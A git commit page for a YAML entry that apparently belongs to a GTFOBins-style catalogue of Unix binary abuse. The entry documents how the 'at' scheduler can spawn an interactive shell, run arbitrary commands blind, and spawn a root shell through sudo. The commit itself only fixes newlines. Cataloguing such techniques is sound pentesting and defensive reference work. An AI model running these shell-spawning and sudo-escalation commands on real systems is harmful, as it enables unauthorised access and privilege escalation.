Fix newlines in at

master
Andrea Cardaci 2021-01-15 20:38:33 +01:00
parent 578f951c76
commit 013bf5a0c9
1 changed files with 14 additions and 14 deletions

View File

@ -1,14 +1,14 @@
--- ---
functions: functions:
shell: shell:
- code: | - code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
command: command:
- description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location. - description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location.
code: | code: |
COMMAND=id COMMAND=id
echo "$COMMAND" | at now echo "$COMMAND" | at now
sudo: sudo:
- code: | - code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null
--- ---